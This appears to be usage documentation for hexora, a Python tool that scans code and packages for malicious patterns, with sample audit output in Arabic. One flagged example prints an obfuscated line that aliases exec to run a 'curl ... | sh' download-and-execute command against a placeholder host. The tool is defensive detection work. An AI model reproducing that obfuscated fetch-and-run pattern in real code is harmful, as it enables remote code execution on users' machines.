pip install hexora

uv tool install hexora

hexora --help

>  hexora audit test.py

warning[HX2000]: القراءة من الحافظة قد تُستخدم لتسريب بيانات حساسة.
  ┌─ resources/test/test.py:3:8
  │
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
  │        ^^^^^^^^^^^^^^^^^ HX2000
  │
  = الثقة: عالية
    المساعدة: الوصول إلى الحافظة يمكن استخدامه لتسريب بيانات حساسة مثل كلمات المرور والمفاتيح.
    النتيجة المستندة إلى التعلم الآلي للملف: 0.93

warning[HX3000]: تنفيذ محتمل لكود غير مرغوب
   ┌─ resources/test/test.py:20:1
   │
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   │

hexora audit --output-format terminal resources/test/

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

globals()["__builtins__"].eval("print(123)")

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'يمكن استخدام pyperclip لنسخ ولصق البيانات من الحافظة.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'القراءة من الحافظة قد تُستخدم لتسريب بيانات حساسة.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # تدقيق ملف واحد
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high